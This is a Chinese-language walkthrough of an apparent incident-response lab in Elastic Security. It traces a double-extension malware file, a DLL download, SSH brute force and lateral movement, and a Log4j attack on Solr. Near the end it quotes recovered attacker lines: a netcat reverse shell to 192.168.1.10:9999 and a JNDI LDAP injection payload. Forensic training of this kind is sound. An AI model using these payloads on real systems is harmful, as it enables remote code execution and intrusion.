目录
- 介绍
- 步骤
介绍
Elasticsearch 是在 Apache Lucene 上构建的分布式搜索和分析引擎。Elasticsearch常用于日志分析、全文搜索、安全智能、业务分析和运维智能使用案例。
可以使用 JSON 文档形式或通过 API 等将数据发送到 Elasticsearch。 Elasticsearch 自动存储原始文档,并在集群的索引中添加该文档的可搜索引用。然后,您就可以使用 Elasticsearch API 搜索和检索该文档。还可以利用可视化数据并构建交互式控制面板。
步骤
在操作机中,打开FireFox,输入about:config打开配置页面,输入network.security.ports.banned.override,将值更改为5601

打开目标机IP:5601进入elastic日志分析系统,利用账户名elastic密码elastic登陆


点击左上角菜单,选中Security的Overview模块

点击alerts打开警报模块

点击Add Fliter,在Field栏输入process.name,Operator选择is,可以查看到引起alert的所有程序(也可以不筛选,直接在KQL处输入file.name: *.*.*查找)

根据系统总结筛选的结果,可以分析出有一个双重扩展名的程序Acount_details.pdf.exe,在下方使用TimeStamp进行排序可得最先出现Acount_details.pdf.exe程序的用户名是ahmed

主机名和另一个执行恶意程序的用户名也显示在此处

点击左上角菜单,选中analytics的discover模块,点击切换为Winlogbeat,输入file.name: *.*.exe进行确认




返回Security的alerts模块,输入file.name : "Acount_details.pdf.exe"语句进行筛选,以TimeStamp Sort old-new排序,在最早时间线处点击盒子图标Analyze event进行自动日志分析

点击NetWork,找到最早时间线的Network start,点击加密的字符串

打开连接详情后可以查看到攻击者IP

在analytics的discover模块,切换至winlogbeat,输入process.name : "Acount_details.pdf.exe" and user.name: "ahmed"KQL命令,筛选ip

返回Security的alerts模块,输入file.name:*.dll and file.size:8704 and process.name: "Acount_details.pdf.exe"进行筛选

点击盒子图标Analyze event进行自动日志分析

点击当前连接的file,筛选两个file creation

分析得知,攻击者通过恶意文件下载了mCblHDgWP.dll这个dll文件

返回Security的alerts模块,输入process.pid : 10716 and process.name : "cmd.exe"筛选

点击盒子图标Analyze event进行自动日志分析
点击cmd.exe,查看进程信息,进程PID是10716,具有NT AUTHORITY权限,父进程ID是8856

点击rundll32.exe查看进程信息,进程PID为8856,是PID10716的父进程

点击rundll32.exe的registry查看注册表

在analytics的discover模块,切换至logs,以registry.path为类型,输入process.name: "rundll32.exe" and process.pid : 8856筛选,进一步确认

返回Security的host模块,输入KQL语句process.name: "powershell.exe" and process.pid : 8836筛选,点击盒子图标Analyze event进行自动日志分析

点击Powershell.exe,查看file change,powershell进程更改的文件名为ModuleAnalysisCache


返回Security的host模块,输入process.name: "powershell.exe" and process.pid : 11676,选中event.action为File created的条目进行查看,点击盒子图标Analyze event进行自动日志分析

点击Powershell.exe的file,选择时间线第一个创建的文件信息

查看信息后得知,_PSScriptPolicyTest_bymwxuft.3b5.ps1是PID为11676创建的第一个.ps1扩展名的文件

返回Security的host模块,针对每个主机的IP进行查询

Windows服务器的LAN是192.168.10.0/24

可以得知,elastic的LAN是192.168.20.0/24,CentOS的LAN是192.168.30.0/24,ubuntu的LAN是192.168.10.0/24,localhost.localdomain的LAN是192.168.122.0/24。只有ubuntu服务器和windows服务器的LAN是相同的




在ubuntu服务器的Authentications中,有大量的用户登陆认证错误,可以推断在ubuntu服务器中发生了暴力破解攻击。

通过日志分析,针对既有登录失败又有登陆成功的用户名,只有salem和root用户。其中最后成功登陆的IP是Windows服务器,判断利用Windows服务器作为跳板进行了横向渗透。

返回analytics的discover模块,使用KQL命令host.name: "ubuntu" and log.file.path : "/var/log/auth.log" and system.auth.ssh.event : "Accepted",过滤器使用user.name筛选。salem是暴力破解后登录的用户名

返回Security的host,点击events,使用KQL语句host.name: "ubuntu" and user.name: "salem" and process.args: wget,过滤ubuntu服务器的用户名salem的进程命令为wget的事件

针对时间线最先发生的事件,点击盒子图标Analyze event进行自动日志分析,点击wget即可查看process.args的cve编号

在Security的host,点击events,利用KQL命令host.name: "ubuntu" and user.name: "salem" and process.args : "python3"筛选,在时间线最先发生的事件点击盒子图标Analyze event进行自动日志分析

在分析中,点击python3的file,可以明确看到python3进程创建了3个文件,均为同一时间

在Security的host,点击events,利用KQL命令user.name: root and process.pid: 3011筛选命令执行信息,选择event.action是exec的条目

点击盒子图标Analyze event进行自动日志分析,可以分析出执行的命令是bash -i

返回Security的Alerts模块,输入KQL命令signal.rule.name: "Netcat Network Activity",可以得知服务器主机名是CentOS

点击盒子图标Analyze event进行自动日志分析,点击运行的进程nc,可以看到用户名为solr和父进程PID

可以在这个进程处,确认反弹shell的执行命令nv -e /bin/bash 192.168.1.10 9999

对父进程PID进一步溯源,是java程序调起的nc命令

在analytics的discover模块,点击切换为filebeat,输入KQL语句log.file.path:/var/solr/logs/solr.log,在过滤器处输入message筛选向服务器提交信息的条目

根据条目得知,发生log4j攻击的路径为/admin/cores,,提交的params参数为foo,JNDI载荷为{foo=${jndi:ldap://192.168.1.10:1389/Exploit}}



















